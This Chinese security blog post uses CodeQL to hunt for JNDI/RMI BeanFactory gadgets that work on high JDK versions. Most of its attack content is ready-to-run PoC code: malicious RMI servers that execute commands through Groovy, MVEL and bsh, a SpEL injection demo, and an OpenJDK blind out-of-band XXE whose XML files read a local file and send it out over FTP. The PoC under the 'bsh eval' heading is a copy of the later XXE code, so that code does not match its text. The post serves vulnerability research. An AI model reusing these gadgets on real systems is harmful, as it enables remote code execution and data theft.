0x00 前言
今年年初浅蓝师傅发了两篇探索高版本 JDK 下 JNDI 漏洞利用方法的文章,拜读之后一直没时间自己进行探索,正巧最近在工作期间学习codeql相关姿势,看了一下关于寻找高版本JDK下RMI可利用的类及方法的条件,很适合使用codeql写规则探索,于是在这里记录一下自己的探索过程。
写在前面,m1yuu技术有限,文中有些出错的地方或者未表达清晰的细节还请各位大佬斧正
0x01 构建codeql
本文聚焦于利用BeanFactory#getObjectInstance
扩大攻击面之后的利用方式探索。我们稍微回忆一下需要寻找的类/方法需要满足的条件,方便构造codeql语句进行查询:
对类的限制
我们寻找的类需要满足:
- 该类存在定义好的构造方法(Constructor)
- 该构造方法为public
- 该构造方法无参
m1yuu特意把构造方法Constructor用英文标出
codeql的使用规则和书写方式总结虽然官方给的很齐全,但是国内中文相关的文档还是不完善,如果想了解关于某些元素的codeql方法或者使用方式可以去官方library查询:https://codeql.github.com/codeql-standard-libraries/search.html,这里关于Constructor的使用,m1yuu去查询到了
getAConstructor()
构造UsableClass
:
class UsableClass extends RefType {
UsableClass() {
this.getAConstructor().hasNoParameters()
and this.getAConstructor().isPublic()
}
}
对方法的限制
我们寻找的方法需要满足:
- 声明为public
- 只有一个参数
- 此参数为String类型
- 该方法存在于上文提到的类中
构造UsableMethod
:
class UsableMethod extends Method {
UsableMethod() {
this.getNumberOfParameters() = 1
and this.getAParamType().hasName("String")
and this.isPublic()
}
}
尝试运行codeql
import java
class UsableClass extends RefType {
UsableClass() {
this.getAConstructor().hasNoParameters()
and this.getAConstructor().isPublic()
}
}
class UsableMethod extends Method {
UsableMethod() {
this.getNumberOfParameters() = 1
and this.getAParamType().hasName("String")
and this.isPublic()
}
}
from UsableMethod me, UsableClass cla
where
me.getDeclaringType() = cla
select cla,me
去lgtm拖了groovy的codeql数据库(https://lgtm.com/projects/g/apache/groovy/ci/),本地导入vscode之后运行上述codeql脚本,结果确实没有问题,搜索到的类和方法均满足预期条件。但是有一个细节可以缩小结果集合,在查找到的结果中有一部分是抽象类和抽象方法,这些需要从结果中删去,于是修改脚本:
import java
class UsableClass extends RefType {
UsableClass() {
this.getAConstructor().hasNoParameters()
and this.getAConstructor().isPublic()
and not this.isAbstract()
}
}
class UsableMethod extends Method {
UsableMethod() {
this.getNumberOfParameters() = 1
and this.getAParamType().hasName("String")
and this.isPublic()
and not this.isAbstract()
}
}
from UsableMethod me, UsableClass cla
where
me.getDeclaringType() = cla
select cla.getPackage(),cla,me
在select中多选择了一个cla.getPackage()
,方便在寻找利用点的时候查看其所在的包。
0x02 groovy筛选结果
我们筛选一下扫描后的结果,找到以下可以利用的点:
RCE:addClasspath&&loadClass
这里是浅蓝师傅找到的利用点,先用addClasspath
加载远程挂载的groovy
脚本,再使用loadClass
进行加载。直接给出原文地址
https://tttang.com/archive/1405/#toc_groovyclassloader
就像浅蓝师傅在文中提到的那样,
因为 Groovy 已经有一个
groovy.lang.GroovyShell
可以用了,所以这个类并不能体现出价值。
在单个第三方包中有一个利用点就够了,没有必要去接着挖掘。但为了测试我们脚本的准确性(来都来了),m1yuu想尽量把结果中的可利用方式列出来。
RCE:execute
这个就比较明显了,是groovyshell中执行命令的相关方法
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("org.codehaus.groovy.runtime.ProcessGroovyMethods", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=execute"));
resourceRef.add(new StringRefAddr("m1yuu","calc"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
RCE:evaluate
果然e开头的方法都值得探究。这里就相当于直接在groovyshell
下执行一段命令
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=evaluate"));
resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
以默认方式实例化GroovyCodeSource
为gcs
,带入到evaluate
中使用parse
方法解析后执行
最后会走到execute
方法,与前文一致。
RCE:me
这个me
方法听起来很人畜无害,但是其所处的类名是Eval
,这就引起了我的注意。进入后发现其可控参数传入了evaluate
。直接给出poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=me"));
resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
RCE:parse
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=parse"));
resourceRef.add(new StringRefAddr("m1yuu","@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef m1yuu\n"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
也是实例化GroovyCodeSource
为gcs
后进入parse
,调用parseClass
后会一直调用到evaluate
,防止文章篇幅过长就不逐栈分析了,调用栈如下:
最后传入evaluate
的参数如图:
RCE:parseClass
parseClass
的利用方式在公开的文章中已经被提到很多次,在此就不详细介绍了。
出网探测:getText
也是没啥意义的利用点,浅蓝师傅找的addClasspath
本质上也能作为出网探测。找到了就记录一下
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("groovy.ui.GroovyMain", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=getText"));
resourceRef.add(new StringRefAddr("m1yuu","http://127.0.0.1:8000"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
0x03 MVEL
我在找MVEL已经编译好的codeql数据库时不小心搜到了藏青师傅的文章:https://xz.aliyun.com/t/10829
打开一看也是使用codeql分析JNDI RMI利用方式,瞬间感觉慌的一。但仔细阅读了文章之后发现该文章主要是使用codeql的污点分析功能针对MVEL利用方式进行追踪,与本文思路并不相同。
当然我们的codeql脚本也能准确定位到漏洞触发点:
既然藏青师傅已经写了完整准确详细的污点分析过程,这里就不针对此利用方式过多叙述了。
在MVEL的查询结果中并没有找到其他可利用的方式,parse方法虽然可以满足条件但这里的parse方法真的只是针对字符串进行操作,并没有解析运行的行为。
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "m1yuu=exec"));
ref.add(new StringRefAddr("m1yuu", "push Runtime.getRuntime().exec('calc');"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}
0x04 bsh
其实想查询常用的包或者库,只要在spring-framework中进行查询即可。里面包含了各种常见的第三方组件(只是查出来的结果巨多也就四千来个)。去掉各种setter,可利用的点特征也很明显。
我在查询结果中找到了bsh中的可利用方式:
RCE:eval
一般结果里有eval那百分之八九十是利用点,这次也不例外。但是看了藏青师傅的文章,发现也被藏青师傅找出来了(tql
poc:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "m1yuu=loadURI"));
ref.add(new StringRefAddr("m1yuu", "http://127.0.0.1:8000/exp.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}
classForName
这个方法名感觉有戏,进去查看:
public Class classForName(String var1) {
if (this.isClassBeingDefined(var1)) {
throw new InterpreterError("Attempting to load class in the process of being defined: " + var1);
} else {
Class var2 = null;
try {
var2 = this.plainClassForName(var1);
} catch (ClassNotFoundException var4) {
}
if (var2 == null) {
var2 = this.loadSourceClass(var1);
}
return var2;
}
}
其中调用了plainClassForName
方法,发现在这里调用了Class.forName(var1)
,而var1
为我们可控的参数。class.forName
与loadClass
不同之处在于forName
在加载类时会自动执行static
内的代码:
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("bsh.BshClassManager", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "m1yuu=classForName"));
ref.add(new StringRefAddr("m1yuu", "calc"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}
但是这里的利用非常鸡肋,我们害得先上传包含恶意代码的class文件到java执行目录下再进行包含执行。(我的评价是啥也不是,图一乐
0x05 为何spring-framwork下无spel利用点
陆陆续续找了很多第三方库,可利用的点基本都被找出或者没什么太大的意义。像我们熟知的javax.el.ELProcessor#eval
中,eval
方法定义是直接调用this.getValue()
,进行el命令解析。我在想spring
中的spel
是否也有类似的操作时,发现spring
下真的存在一个相关方法:org.springframework.expression.spel.standard#parseRaw
,但是细看,他只是执行了doParseExpression
protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context) throws ParseException {
try {
this.expressionString = expressionString;
Tokenizer tokenizer = new Tokenizer(expressionString);
this.tokenStream = tokenizer.process();
this.tokenStreamLength = this.tokenStream.size();
this.tokenStreamPointer = 0;
this.constructedNodes.clear();
SpelNodeImpl ast = this.eatExpression();
Assert.state(ast != null, "No node");
Token t = this.peekToken();
if (t != null) {
throw new SpelParseException(t.startPos, SpelMessage.MORE_INPUT, new Object[]{this.toString(this.nextToken())});
} else {
Assert.isTrue(this.constructedNodes.isEmpty(), "At least one node expected");
return new SpelExpression(expressionString, ast, this.configuration);
}
} catch (InternalParseException var6) {
throw var6.getCause();
}
}
这里的expressionString
是我们可控的参数,如果正常执行的话最后会return new SpelExpression(expressionString, ast, this.configuration);
。
正常的spel注入演示:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class MainApp {
public static void main(String[] args) throws Exception {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
expression.getValue();
}
}
return new SpelExpression(expressionString, ast, this.configuration);
相当于我们构造到Expression expression = parser.parseExpression(spel);
,但是最关键的getValue
并没有办法触发。spring-framework
下并没有可直接调用的getValue
,一般来说,spel注入的触发前提都是开发者在注解中或者代码中不规范使用了spel的parser
以及getValue
。
0x06 openjdk java原生利用点
陆陆续续分析了茫茫多的第三方库,眼都看花了。也就几处能实现请求远程资源的利用点,做出网探测是ok的,但是没什么意义。那就搞波大的,自己编译一手openjdk生成codeql数据库,看能不能找到合理的利用方式。
openjdk版本:8u332
藏青师傅在文中也提到过:
因为通过
ScriptEngine
来执行命令,都需要两个参数,所以不能通过ScriptEngine
调用执行命令。
这就意味着openjdk下不太可能会有rce了。所以我一开始也没把目光锁在openjdk上,但是codeql数据库构造成功之后还是想看一眼,于是找到了一处利用方式(好运这次眷顾了傻瓜):
xxe:loadURI
测了几个openjdk版本,此利用方式存在于openjdk高版本。这里的代码环境我用的是最新的8u333。
实际上有两处loadURI
方法都是可以用的,结果一样,这里只介绍其中一个,存在于com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl#loadURI
public XSModel loadURI(String uri) {
try {
fGrammarPool.clear();
return ((XSGrammar) fSchemaLoader.loadGrammar(new XMLInputSource(null, uri, null, false))).toXSModel();
}
catch (Exception e){
fSchemaLoader.reportDOMFatalError(e);
return null;
}
}
当我们传入的参数为远程的url时,loadGrammar
方法会调用loadSchema
经过一系列调用会加载远程的xml文件并且解析,调用栈如图:
到这里思路就比较清晰了,这是一个可利用的openjdk原生的xxe。
Blind OOB XXE
poc:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "m1yuu=loadURI"));
ref.add(new StringRefAddr("m1yuu", "http://127.0.0.1:8000/exp.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}
exp.xml:
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://127.0.0.1:8000/evil.xml">%asd;%c;]>
<cdl>&rrr;</cdl>
evil.xml:
<!ENTITY % d SYSTEM "file:///C:/Users/xxxxx/test/test">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://127.0.0.1:2121/%d;'>">
把上面两个文件扔到文件夹下,用python的http.server快速模拟一个恶意服务器,java server加载了此恶意服务器下的xml后会用file协议读取本地文件(当然也可以换成netdoc协议),再用ftp协议发送到接收的端口2121。起简易ftp服务器接受ftp数据推荐一个好用的项目:https://github.com/lc/230-OOB
在/C:/Users/xxxxx/test/test
里定义一行内容"attack success!!!"
触发漏洞后:
ftp成功获取到读文件的内容
这里只是验证了存在xxe,关于java下xxe漏洞的更多利用方式与后续jdk对其的限制请移步@K0rz3n的文章https://xz.aliyun.com/t/3357
0x07后记
起初只是想用codeql玩一下,看能不能找到浅蓝师傅已经公布的利用方式,但是越走越深,最后甚至big胆到去扫openjdk,但找到了一种利用方式也算没白忙活。实习这段时间没怎么做业务,也很感谢我的导师愿意给我比较大的自由空间去自己研究,接触的越多越感觉自己菜,希望还能静下心来多完善自己的知识储备。
reference: